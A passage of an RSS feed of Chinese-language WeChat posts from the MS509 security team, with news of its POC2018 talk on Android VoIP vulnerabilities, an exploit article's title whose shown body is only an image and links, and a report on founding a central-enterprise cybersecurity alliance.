!important;overflow-wrap: break-word !important;"><br/></strong></span></p><p style="margin-bottom: 20px;padding-right: 0.5em;padding-left: 0.5em;max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 18px;color: rgb(0, 122, 170);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">中国网安发声POC安全大会  </strong></span><strong style="max-width: 100%;color: rgb(0, 122, 170);font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;">分享安全“奥密”获得广泛关注 <img class="__bg_gif" data-copyright="0" data-ratio="0.6363636363636364" data-type="gif" data-w="22" style="letter-spacing: 0.544px;white-space: normal;color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 22px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=c548b576&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3TryxCxTSR3h3ZA2ZB9Araib14tx5EPv9B8tytozBKHPRvtoe18iaib5XiaDXymDoR7DpjwkzoklyF38IU9F5tDvxA%2F640%3Fwx_fmt%3Dgif"/></strong></p><section style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 3px;padding: 15px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;line-height: 24px;box-shadow: rgb(170, 170, 170) 0px 0px 3px;"><p style="margin-top: 10px;margin-bottom: 15px;padding-right: 0.5em;padding-left: 0.5em;max-width: 100%;min-height: 1em;line-height: 2em;text-indent: 2em;letter-spacing: 1.5px;text-align: justify;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;text-indent: 2em;color: rgb(32, 32, 32);line-height: 2em;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">近日，国际安全大会POC2018 (Power of Community)在韩国首尔拉开序幕。来自全球的百余名顶级黑客高手和安全专家汇聚一堂，共同探讨安全研究领域的热门议题。经过国际评审专家的层层筛选，来自中国网安的</span><span style="max-width: 100%;text-indent: 2em;line-height: 2em;font-size: 15px;color: rgb(0, 122, 170);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509团队</strong></span><span style="max-width: 100%;text-indent: 2em;color: rgb(32, 32, 32);line-height: 2em;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">受邀参加大会，并在大会上作了以《Hacking Android VoIP For Fun and Profit》</span><span style="max-width: 100%;text-indent: 2em;line-height: 2em;font-size: 14px;color: rgb(136, 136, 136);box-sizing: border-box !important;overflow-wrap: break-word !important;">（译：有趣且有益的安卓VoIP安全技术）</span><span style="max-width: 100%;text-indent: 2em;color: rgb(32, 32, 32);line-height: 2em;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">为议题的技术交流演讲。</span></p><p style="margin-top: 10px;margin-bottom: 5px;padding-right: 0.5em;padding-left: 0.5em;max-width: 100%;min-height: 1em;line-height: 2em;text-indent: 2em;letter-spacing: 1.5px;text-align: justify;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;text-indent: 2em;color: rgb(32, 32, 32);line-height: 2em;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">作为少数受邀入席大会的中国团队，参加这一大会代表了中国网络安全行业的顶尖实力，在本次大会中，MS509团队带来的议题成为了唯一一个入选的安卓系统安全案例。</span></p></section></section><section data-role="outer" label="Powered by 135editor.com" style="max-width: 100%;color: rgb(51, 51, 51);letter-spacing: 0.544px;text-align: justify;white-space: normal;font-size: 16px;font-family: 微软雅黑;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section class="" data-tools="135编辑器" data-id="85939" style="max-width: 100%;box-sizing: border-box;border-width: 0px;border-style: none;border-color: initial;overflow-wrap: break-word !important;"><section data-role="outer" label="Powered by 135editor.com" style="max-width: 100%;caret-color: rgb(51, 51, 51);text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section class="" data-tools="135编辑器" data-id="92699" style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="margin-bottom: 15px;padding-right: 0.5em;padding-left: 0.5em;max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="" data-backh="277" data-backw="450" data-before-oversubscription-url="http://mmbiz.qpic.cn/mmbiz_jpg/3TryxCxTSR0k4PibOzmcIicl35VYcnchW2ibLpoicgaHpOLUXicicBicZxWCViaCcOnOloibHp7tqw5eQl1HQSQzATj4Bdg/?wx_fmt=jpeg" data-copyright="0" data-cropselx1="0" data-cropselx2="542" data-cropsely1="0" data-cropsely2="335" data-ratio="0.6658823529411765" data-s="300,640" data-type="png" data-w="850" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 542px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1c36efcf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3TryxCxTSR0k4PibOzmcIicl35VYcnchW2ysx0DFLOzEJrWgg17u5uI52e1GGXmicYJtGUicaAebDtt3B2voneJwWQ%2F640%3Fwx_fmt%3Dpng"/><span style="max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.5px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">|演讲现场|</span></p><p style="margin-bottom: 15px;padding-right: 0.5em;padding-left: 0.5em;max-width: 100%;min-height: 1em;text-indent: 2em;letter-spacing: 1.5px;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">演讲中，中国网安安全专家何恩系统介绍了Android VoIP的各种攻击面，并从”不一致性“入手，对SIP、RTP等协议进行了详细分析，结合实例着重剖析了过去一段时间中国网安MS509团队在Android VoIP这个领域发现到的多个趣味漏洞，涉及本地提权、远程号码欺骗和远程代码执行等多个方面。何恩表示，这些漏洞中的相当一部分也已获得Google等厂商确认与安全致谢。</span></p><p style="padding-right: 0.5em;padding-left: 0.5em;max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="" data-croporisrc="http://mmbiz.qpic.cn/mmbiz_png/3TryxCxTSR0k4PibOzmcIicl35VYcnchW2Tnp5QrYgPVicBlZ6kjkt9hJqzMo2ibKQVqcVYLP9YBy95zhNPnus2kgA/0?wx_fmt=png" data-cropx1="0" data-cropx2="643" data-cropy1="72.36715867158672" data-cropy2="481.65682656826567" data-ratio="0.6376360808709176" data-s="300,640" data-type="jpeg" data-w="643" style="box-shadow: rgb(170, 170, 170) 0px 0px 14px 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 542px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d0224b73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3TryxCxTSR0k4PibOzmcIicl35VYcnchW27XYe1ataj6uLSnlLVhGibPY1ibqCVJ8hRUoJvIx8szDaxST4QJkUtTNg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 15px;padding-right: 0.5em;padding-left: 0.5em;max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.5px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">|演讲现场|</span></p><p style="padding-right: 0.5em;padding-left: 0.5em;max-width: 100%;min-height: 1em;text-indent: 2em;line-height: 2em;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 0.544px;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">据了解，POC大会源自于2006年起由韩国黑客与安全研究专家决定发起交流</span><span style="max-width: 100%;font-size: 15px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">会议，大会</span><span style="max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-indent: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;">以“交流技术、分享知识”为目的，逐渐发展成为“安全圈”内最“年长”的大会之一，并入列国际知名的安全技术交流峰会之中。通过参与此次活动，中国网安加深了同各国技术专家的学习互鉴，有效展示了中国网安的技术实力。</span></p><p style="max-width: 100%;min-height: 1em;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="margin-bottom: 20px;max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="" data-ratio="0.41457286432160806" data-type="jpeg" data-w="398" width="95px" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 95px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=88d28dec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3TryxCxTSR32naR3MuWug7pbCavQudKhtKiarpuhzsScgtVroAqyVTpibJmYnqc1v98E2GzJrGJfqCJ4iaia79BPcw%2F640%3Fwx_fmt%3Djpeg"/></p></section></section></section></section><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: right;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 12px;color: rgb(136, 136, 136);box-sizing: border-box !important;overflow-wrap: break-word !important;">通讯 | 何恩</span><span style="max-width: 100%;font-size: 12px;color: rgb(136, 136, 136);box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span><span style="max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-size: 12px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">  </span></p><section style="max-width: 100%;box-sizing: border-box;caret-color: rgb(51, 51, 51);letter-spacing: 0.544px;text-size-adjust: auto;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;text-align: right;line-height: normal;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;text-align: center;color: rgb(136, 136, 136);line-height: 25.6px;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">编审 | 廖婷婷    编辑 | 孙有权  校对 | 熊盖尧</span><span style="max-width: 100%;color: rgb(136, 136, 136);font-size: 12px;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;">   </span></p></section></section><hr style="max-width: 100%;caret-color: rgb(51, 51, 51);letter-spacing: 0.544px;text-size-adjust: auto;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"/><br/></section></section></section><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p><br/></p><section style="max-width: 100%;box-sizing: border-box;color: rgb(62, 62, 62);font-size: 16px;line-height: 25.6px;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="padding-right: 1em;padding-left: 1em;max-width: 100%;box-sizing: border-box;display: inline-block;text-align: center;overflow-wrap: break-word !important;"><span class="" style="padding: 0.3em 0.5em;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 0.5em;font-size: 14.08px;color: rgb(255, 255, 255);background-color: rgb(24, 141, 42);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509简介：</span></section></span> </section><section class="" style="margin-top: -1em;padding: 20px 10px 10px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(192, 200, 209);text-align: center;background-color: rgb(239, 239, 239);overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;text-align: left;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509为“中国网安”开展互联网攻防技术研究的专业团队，当前主攻方向包括WEB安全、移动安全、二进制安全等</span><strong style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;">。</strong><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">更多团队动态，尽在www.ms509.com</strong></em></em></section></section></section></section></section></section></section></section><p><br/></p><section class="" style="max-width: 100%;color: rgb(62, 62, 62);font-size: 16px;line-height: 25.6px;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;text-align: center;border-width: 0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;display: inline-block;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;width: 21em;border-width: 0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="__bg_gif " data-ratio="0.532" data-type="gif" data-w="500" width="auto" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f64bf6ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIPmdz4nc0ndM0T4dvLW5NpN7vzZs7eUsDzJQ38oWic3ickec4N848AicAvQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="margin-top: -10.5em;margin-left: 0.8em;max-width: 100%;width: 8em;height: 8em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="" data-ratio="1" data-s="300,640" data-type="jpeg" data-w="258" width="auto" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=9b636feb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIP3WSctzWffhLdFjx0W28oHbAQiaqtW7zYu7kGO75vdZZT69TR7iapNpNw%2F640%3Fwx_fmt%3Djpeg"/><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section></section></section></section><p><br/></p><p><br/></p><section class="" data-ele="" style="max-width: 100%;color: rgb(62, 62, 62);font-size: 16px;line-height: 25.6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section class="" data-ele="" style="max-width: 100%;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="max-width: 100%;overflow-wrap: break-word;min-height: 1.5em;font-size: 15.5556px;line-height: 2em;word-break: normal;border-radius: 5px;color: rgb(255, 255, 255);text-align: center;background-color: rgb(89, 150, 235);box-sizing: border-box !important;"><span style="max-width: 100%;color: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">↓↓↓ 点击&#34;阅读原文&#34; 【查看更多信息】  </span></p></section></section></section>



<p><a href="https://mp.weixin.qq.com/s/lMr39ZD19jpQMB1xOTXNlA#rd">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d18b8a1b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935298%26idx%3D1%26sn%3De1712a8b1cf75408f8cccc17c0a2c7b7%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 05 Dec 2018 23:26:00 +0800</pubDate>
    </item>
    <item>
      <title>Android蓝牙远程命令执行漏洞利用实践:从PoC到Exploit</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935285&amp;idx=1&amp;sn=27996763818173f3e24684d7a85403e4</link>
      <description>本文由MS509团队成员“thor@MS509 Team”原创，转载请注明来源。&#xA;本文已于2017-10-30 发布于“先知安全技术社区”。</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2017-10-30 23:30</span> <span style="display: inline-block;"></span>
</p>

<p>本文由MS509团队成员“thor@MS509 Team”原创，转载请注明来源。</p>
<p>本文已于2017-10-30 发布于“先知安全技术社区”。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=cbb625d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FfwNqC4xHXIr9ANoZSYJOxKtz5snhbf4MSK1f4Vp5LqvCr4zqkBGDwqGX7ScQYrIsicTb2gZfoicQ2ypFMj7f4MBg%2F0%3Fwx_fmt%3Djpeg"/>
</p>






<p><a href="2650935285">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=88b3dfdb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935285%26idx%3D1%26sn%3D27996763818173f3e24684d7a85403e4%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 30 Oct 2017 23:30:00 +0800</pubDate>
    </item>
    <item>
      <title>关注 | 起航在即！中央企业网络安全产业联盟发起单位筹备会在京召开</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935285&amp;idx=2&amp;sn=0bb766d2cf3a6af9183c522c6eff9e6f</link>
      <description>本文转载自“中国网安”微信公众号</description>
      <content:encoded><![CDATA[<p>
<span>中国网安</span> <span>2017-10-30 23:30</span> <span style="display: inline-block;"></span>
</p>

<p>本文转载自“中国网安”微信公众号</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c39e0e3c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD2VXyOoRfgQb30PKgIur8SViaK6mhPG77TnYqoT0ck5sqZcFI8iatmOHib0rqrnJcTRzeCibXrojkPdHg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="max-width: 100%;min-height: 1em;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);white-space: pre-wrap;text-align: center;box-sizing: border-box !important;word-wrap: break-word !important;"><img class="__bg_gif" data-ratio="0.11875" title="1444706553487851.gif" data-type="gif" data-w="640" style="line-height: 25.6px;white-space: normal;box-sizing: border-box !important;word-wrap: break-word !important;width: auto !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=60bb7fb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FjKzAUW2rMBwxibGWwbR9NTzicF72uArHzAW1ibKdMA8BUoTSUwE4M37diacWVMETWetDDemg6wh2D1GNLTGWybYV7g%2F0%3Fwx_fmt%3Dgif"/><br style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"/></p><p><br/></p><section class="" data-ele="imb" style="max-width: 100%;color: rgb(62, 62, 62);font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.6px;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;word-wrap: break-word !important;"><section style="margin-top: 10px;max-width: 100%;box-sizing: border-box;font-family: 微软雅黑;word-wrap: break-word !important;"><section style="padding: 10px;max-width: 100%;color: rgb(5, 115, 175);text-align: justify;background-color: rgb(182, 228, 253);box-sizing: border-box !important;word-wrap: break-word !important;"><p style="max-width: 100%;word-wrap: break-word;min-height: 1em;line-height: 1.5em;color: inherit;box-sizing: border-box !important;"><span style="max-width: 100%;color: inherit;font-size: 14px;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 25.6px;text-align: center;box-sizing: border-box !important;word-wrap: break-word !important;">本文转载自“中国网安”微信公众号</span></span></p></section></section></section><p><br/></p><p><br/></p><p style="max-width: 100%;min-height: 1em;color: rgb(62, 62, 62);font-size: 16px;line-height: 25.6px;white-space: normal;widows: 1;letter-spacing: 0.5px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;word-wrap: break-word !important;"><br/></p><p style="max-width: 100%;min-height: 1em;color: rgb(62, 62, 62);font-size: 16px;line-height: 25.6px;white-space: normal;widows: 1;letter-spacing: 0.5px;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 12px;line-height: 25.6px;text-align: justify;text-indent: 32px;box-sizing: border-box !important;word-wrap: break-word !important;">∧ 筹备组会议现场</span></p><p><br/></p><section data-width="100%" style="margin-top: 15px;margin-bottom: 15px;max-width: 100%;box-sizing: border-box;color: inherit;white-space: normal;widows: 1;width: 670px;border-width: 1px;border-style: solid;border-color: rgb(198, 198, 199);font-size: 14px;display: inline-block;background-color: rgb(255, 255, 255);word-wrap: break-word !important;"><section class="" data-style="line-height:24px;color: #3F3F3F;font-size:16px;" style="margin: -10px 5px;padding: 20px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(198, 198, 199);color: inherit;word-wrap: break-word !important;"><p style="margin-top: 5px;margin-bottom: 10px;max-width: 100%;min-height: 1em;color: rgb(62, 62, 62);font-size: 16px;text-align: justify;text-indent: 2em;line-height: 2em;letter-spacing: 0.5px;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;line-height: 25.6px;text-indent: 28px;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 25.6px;text-indent: 30px;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;">10月20日，在国务院国资委综合局的指导下，由中国网安作为筹备主要发起单位，联合中央企业下属18家网络安全核心企业筹建的中央企业网络安全产业联盟（以下简称联盟）发起单位筹备会在中国网安北京总部基地召开。国务院国资委信息处处长陈建刚到会指导，中国网安董事长李成刚代表联盟筹备组发言，副总经理卿昱主持会议。</span></span></span></span></p></section></section><p><br/></p><p style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;min-height: 1em;color: rgb(62, 62, 62);font-size: 16px;line-height: 25.6px;white-space: normal;widows: 1;letter-spacing: 0.5px;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;word-wrap: break-word !important;"><img class="" data-copyright="0" data-ratio="0.6685082872928176" data-s="300,640" style="box-sizing: border-box !important;word-wrap: break-word !important;width: auto !important;visibility: visible !important;" data-type="jpeg" data-w="543" src="https://wechat2rss.xlab.app/img-proxy/?k=22727b86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3TryxCxTSR1iciaibl19MYwOlqcJ4mfjqUZnTvIotkq5ggiadxrS90tPCPOpYtdg1kmQkqzqKPDMr5r9ezDQ2tX9zw%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><section class="" style="max-width: 100%;font-size: 16px;white-space: normal;widows: 1;color: rgb(33, 33, 33);line-height: 32px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;word-wrap: break-word !important;"><section style="margin: 3px;padding: 15px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;color: rgb(62, 62, 62);line-height: 24px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);box-shadow: rgb(170, 170, 170) 0px 0px 3px;"><p style="margin-top: 5px;margin-bottom: 5px;max-width: 100%;min-height: 1em;text-align: justify;text-indent: 2em;line-height: 2em;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 25.6px;font-size: 15px;box-sizing: border-box !important;word-wrap: break-word !important;">会上，陈建刚首先代表联盟指导方，就联盟组建的背景情况进行介绍。他提到，随着国有资产不断数字化、网络化，中央企业对于网络安全风险防范的需求与日俱增，开展中央企业网络安全保障专项工程建设的需求日益迫切，成立“中央企业网络安全产业联盟”加强中央企业的网络安全保障能力，就更加势在必行。中国网安作为专项工程组长单位，联合网络安全专业相关兄弟央企，牵头成立联盟筹备组，组建成立联盟，就是要在加强中央企业网络安全力量的整合，加强资源的共享，加强产业的协同，提升中央企业网络安全整体保障能力，发展中央企业网络安全产业力量，为实现国有资产保值增值，提供坚实可靠的信息安全支撑。</span><span style="max-width: 100%;line-height: 25.6px;font-size: 15px;box-sizing: border-box !important;word-wrap: break-word !important;"></span></p></section></section><p><br/></p><p style="margin-top: 10px;margin-bottom: 5px;max-width: 100%;min-height: 1em;color: rgb(62, 62, 62);font-size: 16px;line-height: 25.6px;white-space: normal;widows: 1;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 12px;line-height: 25.6px;text-align: justify;text-indent: 32px;box-sizing: border-box !important;word-wrap: break-word !important;"></span></p><p style="margin-top: 10px;margin-bottom: 10px;padding-right: 0.5em;padding-left: 0.5em;max-width: 100%;min-height: 1em;color: rgb(62, 62, 62);font-size: 16px;line-height: 25.6px;white-space: normal;widows: 1;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;word-wrap: break-word !important;"><img class="" data-copyright="0" data-ratio="0.6666666666666666" data-s="300,640" style="box-sizing: border-box !important;word-wrap: break-word !important;width: auto !important;visibility: visible !important;" data-type="png" data-w="540" src="https://wechat2rss.xlab.app/img-proxy/?k=4b446797&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3TryxCxTSR1iciaibl19MYwOlqcJ4mfjqUZr94ZmwCA5ibibaficXn90YkVuqIiczGeRjnuvCfmnIYxic5ic5AIRY1COv4A%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;color: rgb(62, 62, 62);font-size: 16px;line-height: 25.6px;white-space: normal;widows: 1;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;line-height: 25.6px;text-align: justify;text-indent: 32px;box-sizing: border-box !important;word-wrap: break-word !important;"></span></p><p><br/></p><section class="" style="max-width: 100%;font-size: 16px;white-space: normal;widows: 1;color: rgb(33, 33, 33);line-height: 32px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;word-wrap: break-word !important;"><section style="margin: 3px;padding: 15px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;color: rgb(62, 62, 62);line-height: 24px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);box-shadow: rgb(170, 170, 170) 0px 0px 3px;"><p style="margin-top: 5px;margin-bottom: 5px;max-width: 100%;min-height: 1em;text-align: justify;text-indent: 2em;line-height: 2em;letter-spacing: 0.5px;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 25.6px;font-size: 15px;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;">李成刚代表联盟筹备组对国资委的关怀和支持，以及各参会单位的积极参与表示了感谢。并表示中国网安作为联盟主要发起单位，在国务院国资委的指导下，将加快与在座各联盟成员单位的深度沟通与合作，积极开展联盟组建第二阶段筹备工作，尽快完成联盟组建工作，进一步凝聚央企在网络安全领域的发展共识与合力，共同开创央企合作的新局面。以联盟为载体推动落实支撑国家战略及政策标准制定、打造中央企业网络安全保障平台、构建央企协同创新体系、开展国际战略合作等方面重点工作，提升中央企业网络安全保障能力，加快产业发展，实现国有资产保值增值，支撑国家网络安全战略。</span></span></p></section></section><p><br/></p><p style="max-width: 100%;min-height: 1em;color: rgb(62, 62, 62);font-size: 